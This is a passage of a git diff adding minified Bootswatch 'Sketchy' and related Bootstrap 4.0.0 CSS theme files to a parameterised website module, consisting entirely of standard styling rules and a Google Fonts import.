!important}.pr-lg-5,.px-lg-5{padding-right:3rem !important}.pb-lg-5,.py-lg-5{padding-bottom:3rem !important}.pl-lg-5,.px-lg-5{padding-left:3rem !important}.m-lg-auto{margin:auto !important}.mt-lg-auto,.my-lg-auto{margin-top:auto !important}.mr-lg-auto,.mx-lg-auto{margin-right:auto !important}.mb-lg-auto,.my-lg-auto{margin-bottom:auto !important}.ml-lg-auto,.mx-lg-auto{margin-left:auto !important}}@media (min-width: 1200px){.m-xl-0{margin:0 !important}.mt-xl-0,.my-xl-0{margin-top:0 !important}.mr-xl-0,.mx-xl-0{margin-right:0 !important}.mb-xl-0,.my-xl-0{margin-bottom:0 !important}.ml-xl-0,.mx-xl-0{margin-left:0 !important}.m-xl-1{margin:0.25rem !important}.mt-xl-1,.my-xl-1{margin-top:0.25rem !important}.mr-xl-1,.mx-xl-1{margin-right:0.25rem !important}.mb-xl-1,.my-xl-1{margin-bottom:0.25rem !important}.ml-xl-1,.mx-xl-1{margin-left:0.25rem !important}.m-xl-2{margin:0.5rem !important}.mt-xl-2,.my-xl-2{margin-top:0.5rem !important}.mr-xl-2,.mx-xl-2{margin-right:0.5rem !important}.mb-xl-2,.my-xl-2{margin-bottom:0.5rem !important}.ml-xl-2,.mx-xl-2{margin-left:0.5rem !important}.m-xl-3{margin:1rem !important}.mt-xl-3,.my-xl-3{margin-top:1rem !important}.mr-xl-3,.mx-xl-3{margin-right:1rem !important}.mb-xl-3,.my-xl-3{margin-bottom:1rem !important}.ml-xl-3,.mx-xl-3{margin-left:1rem !important}.m-xl-4{margin:1.5rem !important}.mt-xl-4,.my-xl-4{margin-top:1.5rem !important}.mr-xl-4,.mx-xl-4{margin-right:1.5rem !important}.mb-xl-4,.my-xl-4{margin-bottom:1.5rem !important}.ml-xl-4,.mx-xl-4{margin-left:1.5rem !important}.m-xl-5{margin:3rem !important}.mt-xl-5,.my-xl-5{margin-top:3rem !important}.mr-xl-5,.mx-xl-5{margin-right:3rem !important}.mb-xl-5,.my-xl-5{margin-bottom:3rem !important}.ml-xl-5,.mx-xl-5{margin-left:3rem !important}.p-xl-0{padding:0 !important}.pt-xl-0,.py-xl-0{padding-top:0 !important}.pr-xl-0,.px-xl-0{padding-right:0 !important}.pb-xl-0,.py-xl-0{padding-bottom:0 !important}.pl-xl-0,.px-xl-0{padding-left:0 !important}.p-xl-1{padding:0.25rem !important}.pt-xl-1,.py-xl-1{padding-top:0.25rem !important}.pr-xl-1,.px-xl-1{padding-right:0.25rem !important}.pb-xl-1,.py-xl-1{padding-bottom:0.25rem !important}.pl-xl-1,.px-xl-1{padding-left:0.25rem !important}.p-xl-2{padding:0.5rem !important}.pt-xl-2,.py-xl-2{padding-top:0.5rem !important}.pr-xl-2,.px-xl-2{padding-right:0.5rem !important}.pb-xl-2,.py-xl-2{padding-bottom:0.5rem !important}.pl-xl-2,.px-xl-2{padding-left:0.5rem !important}.p-xl-3{padding:1rem !important}.pt-xl-3,.py-xl-3{padding-top:1rem !important}.pr-xl-3,.px-xl-3{padding-right:1rem !important}.pb-xl-3,.py-xl-3{padding-bottom:1rem !important}.pl-xl-3,.px-xl-3{padding-left:1rem !important}.p-xl-4{padding:1.5rem !important}.pt-xl-4,.py-xl-4{padding-top:1.5rem !important}.pr-xl-4,.px-xl-4{padding-right:1.5rem !important}.pb-xl-4,.py-xl-4{padding-bottom:1.5rem !important}.pl-xl-4,.px-xl-4{padding-left:1.5rem !important}.p-xl-5{padding:3rem !important}.pt-xl-5,.py-xl-5{padding-top:3rem !important}.pr-xl-5,.px-xl-5{padding-right:3rem !important}.pb-xl-5,.py-xl-5{padding-bottom:3rem !important}.pl-xl-5,.px-xl-5{padding-left:3rem !important}.m-xl-auto{margin:auto !important}.mt-xl-auto,.my-xl-auto{margin-top:auto !important}.mr-xl-auto,.mx-xl-auto{margin-right:auto !important}.mb-xl-auto,.my-xl-auto{margin-bottom:auto !important}.ml-xl-auto,.mx-xl-auto{margin-left:auto !important}}.text-justify{text-align:justify !important}.text-nowrap{white-space:nowrap !important}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.text-left{text-align:left !important}.text-right{text-align:right !important}.text-center{text-align:center !important}@media (min-width: 576px){.text-sm-left{text-align:left !important}.text-sm-right{text-align:right !important}.text-sm-center{text-align:center !important}}@media (min-width: 768px){.text-md-left{text-align:left !important}.text-md-right{text-align:right !important}.text-md-center{text-align:center !important}}@media (min-width: 992px){.text-lg-left{text-align:left !important}.text-lg-right{text-align:right !important}.text-lg-center{text-align:center !important}}@media (min-width: 1200px){.text-xl-left{text-align:left !important}.text-xl-right{text-align:right !important}.text-xl-center{text-align:center !important}}.text-lowercase{text-transform:lowercase !important}.text-uppercase{text-transform:uppercase !important}.text-capitalize{text-transform:capitalize !important}.font-weight-light{font-weight:300 !important}.font-weight-normal{font-weight:400 !important}.font-weight-bold{font-weight:700 !important}.font-italic{font-style:italic !important}.text-white{color:#fff !important}.text-primary{color:#EB6864 !important}a.text-primary:hover,a.text-primary:focus{color:#e53c37 !important}.text-secondary{color:#aaa !important}a.text-secondary:hover,a.text-secondary:focus{color:#919090 !important}.text-success{color:#22B24C !important}a.text-success:hover,a.text-success:focus{color:#1a873a !important}.text-info{color:#369 !important}a.text-info:hover,a.text-info:focus{color:#264d73 !important}.text-warning{color:#F5E625 !important}a.text-warning:hover,a.text-warning:focus{color:#ddce0a !important}.text-danger{color:#F57A00 !important}a.text-danger:hover,a.text-danger:focus{color:#c26100 !important}.text-light{color:#f8f9fa !important}a.text-light:hover,a.text-light:focus{color:#dae0e5 !important}.text-dark{color:#222 !important}a.text-dark:hover,a.text-dark:focus{color:#090808 !important}.text-muted{color:#777 !important}.text-hide{font:0/0 a;color:transparent;text-shadow:none;background-color:transparent;border:0}.visible{visibility:visible !important}.invisible{visibility:hidden !important}@media print{*,*::before,*::after{text-shadow:none !important;-webkit-box-shadow:none !important;box-shadow:none !important}a:not(.btn){text-decoration:underline}abbr[title]::after{content:" (" attr(title) ")"}pre{white-space:pre-wrap !important}pre,blockquote{border:1px solid #999;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}p,h2,h3{orphans:3;widows:3}h2,h3{page-break-after:avoid}@page{size:a3}body{min-width:992px !important}.container{min-width:992px !important}.navbar{display:none}.badge{border:1px solid #000}.table{border-collapse:collapse !important}.table td,.table th{background-color:#fff !important}.table-bordered th,.table-bordered td{border:1px solid #ddd !important}}.bg-dark{background-color:#000 !important}.bg-light{background-color:#fff !important;color:#000;border:1px solid #eee}.bg-light.navbar-fixed-top{border-width:0 0 1px 0}.bg-light.navbar-fixed-bottom{border-width:1px 0 0 0}.navbar{font-size:18px;font-family:"News Cycle", "Arial Narrow Bold", sans-serif;font-weight:700}.navbar-brand{padding-top:0.5rem;font-size:inherit;font-weight:700;text-transform:uppercase}.btn{font-family:"News Cycle", "Arial Narrow Bold", sans-serif;font-weight:700}.btn-secondary,.btn-warning{color:#fff}.pagination a:hover{text-decoration:none} diff --git a/modules/services/unix/http/parameterised_website/files/themes/sketchy.min.css b/modules/services/unix/http/parameterised_website/files/themes/sketchy.min.css new file mode 100644 index 000000000..2423a01d0 --- /dev/null +++ b/modules/services/unix/http/parameterised_website/files/themes/sketchy.min.css @@ -0,0 +1,12 @@ +/*! + * Bootswatch v4.0.0 + * Homepage: https://bootswatch.com + * Copyright 2012-2018 Thomas Park + * Licensed under MIT + * Based on Bootstrap +*//*! + * Bootstrap v4.0.0 (https://getbootstrap.com) + * Copyright 2011-2018 The Bootstrap Authors + * Copyright 2011-2018 Twitter, Inc. + * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) + */@import url("https://fonts.googleapis.com/css?family=Neucha|Cabin+Sketch");:root{--blue:#007bff;--indigo:#6610f2;--purple:#6f42c1;--pink:#e83e8c;--red:#dc3545;--orange:#fd7e14;--yellow:#ffc107;--green:#28a745;--teal:#20c997;--cyan:#17a2b8;--white:#fff;--gray:#868e96;--gray-dark:#333;--primary:#333;--secondary:#555;--success:#28a745;--info:#17a2b8;--warning:#ffc107;--danger:#dc3545;--light:#fff;--dark:#555;--breakpoint-xs:0;--breakpoint-sm:576px;--breakpoint-md:768px;--breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:"Neucha", -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;--font-family-monospace:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}*,*::before,*::after{-webkit-box-sizing:border-box;box-sizing:border-box}html{font-family:sans-serif;line-height:1.15;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%;-ms-overflow-style:scrollbar;-webkit-tap-highlight-color:transparent}@-ms-viewport{width:device-width}article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}body{margin:0;font-family:"Neucha", -apple-system, system-ui, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;font-size:1rem;font-weight:700;line-height:1.5;color:#212529;text-align:left;background-color:#fff}[tabindex="-1"]:focus{outline:0 !important}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}h1,h2,h3,h4,h5,h6{margin-top:0;margin-bottom:0.5rem}p{margin-top:0;margin-bottom:1rem}abbr[title],abbr[data-original-title]{text-decoration:underline;-webkit-text-decoration:underline dotted;text-decoration:underline dotted;cursor:help;border-bottom:0}address{margin-bottom:1rem;font-style:normal;line-height:inherit}ol,ul,dl{margin-top:0;margin-bottom:1rem}ol ol,ul ul,ol ul,ul ol{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}dfn{font-style:italic}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}a{color:#333;text-decoration:underline;background-color:transparent;-webkit-text-decoration-skip:objects}a:hover{color:#0d0d0d;text-decoration:underline}a:not([href]):not([tabindex]){color:inherit;text-decoration:none}a:not([href]):not([tabindex]):hover,a:not([href]):not([tabindex]):focus{color:inherit;text-decoration:none}a:not([href]):not([tabindex]):focus{outline:0}pre,code,kbd,samp{font-family:monospace, monospace;font-size:1em}pre{margin-top:0;margin-bottom:1rem;overflow:auto;-ms-overflow-style:scrollbar}figure{margin:0 0 1rem}img{vertical-align:middle;border-style:none}svg:not(:root){overflow:hidden}table{border-collapse:collapse}caption{padding-top:0.75rem;padding-bottom:0.75rem;color:#868e96;text-align:left;caption-side:bottom}th{text-align:inherit}label{display:inline-block;margin-bottom:.5rem}button{border-radius:0}button:focus{outline:1px dotted;outline:5px auto -webkit-focus-ring-color}input,button,select,optgroup,textarea{margin:0;font-family:inherit;font-size:inherit;line-height:inherit}button,input{overflow:visible}button,select{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{padding:0;border-style:none}input[type="radio"],input[type="checkbox"]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}input[type="date"],input[type="time"],input[type="datetime-local"],input[type="month"]{-webkit-appearance:listbox}textarea{overflow:auto;resize:vertical}fieldset{min-width:0;padding:0;margin:0;border:0}legend{display:block;width:100%;max-width:100%;padding:0;margin-bottom:.5rem;font-size:1.5rem;line-height:inherit;color:inherit;white-space:normal}progress{vertical-align:baseline}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{outline-offset:-2px;-webkit-appearance:none}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{font:inherit;-webkit-appearance:button}output{display:inline-block}summary{display:list-item;cursor:pointer}template{display:none}[hidden]{display:none !important}h1,h2,h3,h4,h5,h6,.h1,.h2,.h3,.h4,.h5,.h6{margin-bottom:0.5rem;font-family:"Cabin Sketch", cursive;font-weight:500;line-height:1.2;color:inherit}h1,.h1{font-size:2.5rem}h2,.h2{font-size:2rem}h3,.h3{font-size:1.75rem}h4,.h4{font-size:1.5rem}h5,.h5{font-size:1.25rem}h6,.h6{font-size:1rem}.lead{font-size:1.25rem;font-weight:300}.display-1{font-size:6rem;font-weight:300;line-height:1.2}.display-2{font-size:5.5rem;font-weight:300;line-height:1.2}.display-3{font-size:4.5rem;font-weight:300;line-height:1.2}.display-4{font-size:3.5rem;font-weight:300;line-height:1.2}hr{margin-top:1rem;margin-bottom:1rem;border:0;border-top:2px solid rgba(0,0,0,0.1)}small,.small{font-size:80%;font-weight:400}mark,.mark{padding:0.2em;background-color:#fcf8e3}.list-unstyled{padding-left:0;list-style:none}.list-inline{padding-left:0;list-style:none}.list-inline-item{display:inline-block}.list-inline-item:not(:last-child){margin-right:0.5rem}.initialism{font-size:90%;text-transform:uppercase}.blockquote{margin-bottom:1rem;font-size:1.25rem}.blockquote-footer{display:block;font-size:80%;color:#333}.blockquote-footer::before{content:"\2014 \00A0"}.img-fluid{max-width:100%;height:auto}.img-thumbnail{padding:0.25rem;background-color:#fff;border:2px solid #dee2e6;border-radius:255px 25px 225px 25px/25px 225px 25px 255px;max-width:100%;height:auto}.figure{display:inline-block}.figure-img{margin-bottom:0.5rem;line-height:1}.figure-caption{font-size:90%;color:#868e96}code,kbd,pre,samp{font-family:SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace}code{font-size:87.5%;color:#e83e8c;word-break:break-word}a>code{color:inherit}kbd{padding:0.2rem 0.4rem;font-size:87.5%;color:#fff;background-color:#212529;border-radius:255px 25px 225px 25px/25px 225px 25px 255px}kbd kbd{padding:0;font-size:100%;font-weight:700}pre{display:block;font-size:87.5%;color:#212529}pre code{font-size:inherit;color:inherit;word-break:normal}.pre-scrollable{max-height:340px;overflow-y:scroll}.container{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}@media (min-width: 576px){.container{max-width:540px}}@media (min-width: 768px){.container{max-width:720px}}@media (min-width: 992px){.container{max-width:960px}}@media (min-width: 1200px){.container{max-width:1140px}}.container-fluid{width:100%;padding-right:15px;padding-left:15px;margin-right:auto;margin-left:auto}.row{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-15px;margin-left:-15px}.no-gutters{margin-right:0;margin-left:0}.no-gutters>.col,.no-gutters>[class*="col-"]{padding-right:0;padding-left:0}.col-1,.col-2,.col-3,.col-4,.col-5,.col-6,.col-7,.col-8,.col-9,.col-10,.col-11,.col-12,.col,.col-auto,.col-sm-1,.col-sm-2,.col-sm-3,.col-sm-4,.col-sm-5,.col-sm-6,.col-sm-7,.col-sm-8,.col-sm-9,.col-sm-10,.col-sm-11,.col-sm-12,.col-sm,.col-sm-auto,.col-md-1,.col-md-2,.col-md-3,.col-md-4,.col-md-5,.col-md-6,.col-md-7,.col-md-8,.col-md-9,.col-md-10,.col-md-11,.col-md-12,.col-md,.col-md-auto,.col-lg-1,.col-lg-2,.col-lg-3,.col-lg-4,.col-lg-5,.col-lg-6,.col-lg-7,.col-lg-8,.col-lg-9,.col-lg-10,.col-lg-11,.col-lg-12,.col-lg,.col-lg-auto,.col-xl-1,.col-xl-2,.col-xl-3,.col-xl-4,.col-xl-5,.col-xl-6,.col-xl-7,.col-xl-8,.col-xl-9,.col-xl-10,.col-xl-11,.col-xl-12,.col-xl,.col-xl-auto{position:relative;width:100%;min-height:1px;padding-right:15px;padding-left:15px}.col{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-1{margin-left:8.3333333333%}.offset-2{margin-left:16.6666666667%}.offset-3{margin-left:25%}.offset-4{margin-left:33.3333333333%}.offset-5{margin-left:41.6666666667%}.offset-6{margin-left:50%}.offset-7{margin-left:58.3333333333%}.offset-8{margin-left:66.6666666667%}.offset-9{margin-left:75%}.offset-10{margin-left:83.3333333333%}.offset-11{margin-left:91.6666666667%}@media (min-width: 576px){.col-sm{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-sm-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-sm-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-sm-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-sm-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-sm-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-sm-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-sm-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-sm-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-sm-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-sm-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-sm-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-sm-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-sm-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-sm-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-sm-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-sm-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-sm-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-sm-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-sm-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-sm-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-sm-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-sm-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-sm-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-sm-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-sm-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-sm-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-sm-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-sm-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-sm-0{margin-left:0}.offset-sm-1{margin-left:8.3333333333%}.offset-sm-2{margin-left:16.6666666667%}.offset-sm-3{margin-left:25%}.offset-sm-4{margin-left:33.3333333333%}.offset-sm-5{margin-left:41.6666666667%}.offset-sm-6{margin-left:50%}.offset-sm-7{margin-left:58.3333333333%}.offset-sm-8{margin-left:66.6666666667%}.offset-sm-9{margin-left:75%}.offset-sm-10{margin-left:83.3333333333%}.offset-sm-11{margin-left:91.6666666667%}}@media (min-width: 768px){.col-md{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-md-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-md-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-md-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-md-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-md-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-md-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-md-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-md-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-md-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-md-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-md-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-md-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-md-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-md-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-md-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-md-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-md-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-md-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-md-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-md-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-md-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-md-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-md-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-md-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-md-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-md-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-md-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-md-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-md-0{margin-left:0}.offset-md-1{margin-left:8.3333333333%}.offset-md-2{margin-left:16.6666666667%}.offset-md-3{margin-left:25%}.offset-md-4{margin-left:33.3333333333%}.offset-md-5{margin-left:41.6666666667%}.offset-md-6{margin-left:50%}.offset-md-7{margin-left:58.3333333333%}.offset-md-8{margin-left:66.6666666667%}.offset-md-9{margin-left:75%}.offset-md-10{margin-left:83.3333333333%}.offset-md-11{margin-left:91.6666666667%}}@media (min-width: 992px){.col-lg{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-lg-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-lg-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-lg-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-lg-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-lg-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-lg-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-lg-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 50%;max-width:50%}.col-lg-7{-webkit-box-flex:0;-ms-flex:0 0 58.3333333333%;flex:0 0 58.3333333333%;max-width:58.3333333333%}.col-lg-8{-webkit-box-flex:0;-ms-flex:0 0 66.6666666667%;flex:0 0 66.6666666667%;max-width:66.6666666667%}.col-lg-9{-webkit-box-flex:0;-ms-flex:0 0 75%;flex:0 0 75%;max-width:75%}.col-lg-10{-webkit-box-flex:0;-ms-flex:0 0 83.3333333333%;flex:0 0 83.3333333333%;max-width:83.3333333333%}.col-lg-11{-webkit-box-flex:0;-ms-flex:0 0 91.6666666667%;flex:0 0 91.6666666667%;max-width:91.6666666667%}.col-lg-12{-webkit-box-flex:0;-ms-flex:0 0 100%;flex:0 0 100%;max-width:100%}.order-lg-first{-webkit-box-ordinal-group:0;-ms-flex-order:-1;order:-1}.order-lg-last{-webkit-box-ordinal-group:14;-ms-flex-order:13;order:13}.order-lg-0{-webkit-box-ordinal-group:1;-ms-flex-order:0;order:0}.order-lg-1{-webkit-box-ordinal-group:2;-ms-flex-order:1;order:1}.order-lg-2{-webkit-box-ordinal-group:3;-ms-flex-order:2;order:2}.order-lg-3{-webkit-box-ordinal-group:4;-ms-flex-order:3;order:3}.order-lg-4{-webkit-box-ordinal-group:5;-ms-flex-order:4;order:4}.order-lg-5{-webkit-box-ordinal-group:6;-ms-flex-order:5;order:5}.order-lg-6{-webkit-box-ordinal-group:7;-ms-flex-order:6;order:6}.order-lg-7{-webkit-box-ordinal-group:8;-ms-flex-order:7;order:7}.order-lg-8{-webkit-box-ordinal-group:9;-ms-flex-order:8;order:8}.order-lg-9{-webkit-box-ordinal-group:10;-ms-flex-order:9;order:9}.order-lg-10{-webkit-box-ordinal-group:11;-ms-flex-order:10;order:10}.order-lg-11{-webkit-box-ordinal-group:12;-ms-flex-order:11;order:11}.order-lg-12{-webkit-box-ordinal-group:13;-ms-flex-order:12;order:12}.offset-lg-0{margin-left:0}.offset-lg-1{margin-left:8.3333333333%}.offset-lg-2{margin-left:16.6666666667%}.offset-lg-3{margin-left:25%}.offset-lg-4{margin-left:33.3333333333%}.offset-lg-5{margin-left:41.6666666667%}.offset-lg-6{margin-left:50%}.offset-lg-7{margin-left:58.3333333333%}.offset-lg-8{margin-left:66.6666666667%}.offset-lg-9{margin-left:75%}.offset-lg-10{margin-left:83.3333333333%}.offset-lg-11{margin-left:91.6666666667%}}@media (min-width: 1200px){.col-xl{-ms-flex-preferred-size:0;flex-basis:0;-webkit-box-flex:1;-ms-flex-positive:1;flex-grow:1;max-width:100%}.col-xl-auto{-webkit-box-flex:0;-ms-flex:0 0 auto;flex:0 0 auto;width:auto;max-width:none}.col-xl-1{-webkit-box-flex:0;-ms-flex:0 0 8.3333333333%;flex:0 0 8.3333333333%;max-width:8.3333333333%}.col-xl-2{-webkit-box-flex:0;-ms-flex:0 0 16.6666666667%;flex:0 0 16.6666666667%;max-width:16.6666666667%}.col-xl-3{-webkit-box-flex:0;-ms-flex:0 0 25%;flex:0 0 25%;max-width:25%}.col-xl-4{-webkit-box-flex:0;-ms-flex:0 0 33.3333333333%;flex:0 0 33.3333333333%;max-width:33.3333333333%}.col-xl-5{-webkit-box-flex:0;-ms-flex:0 0 41.6666666667%;flex:0 0 41.6666666667%;max-width:41.6666666667%}.col-xl-6{-webkit-box-flex:0;-ms-flex:0 0 50%;flex:0 0 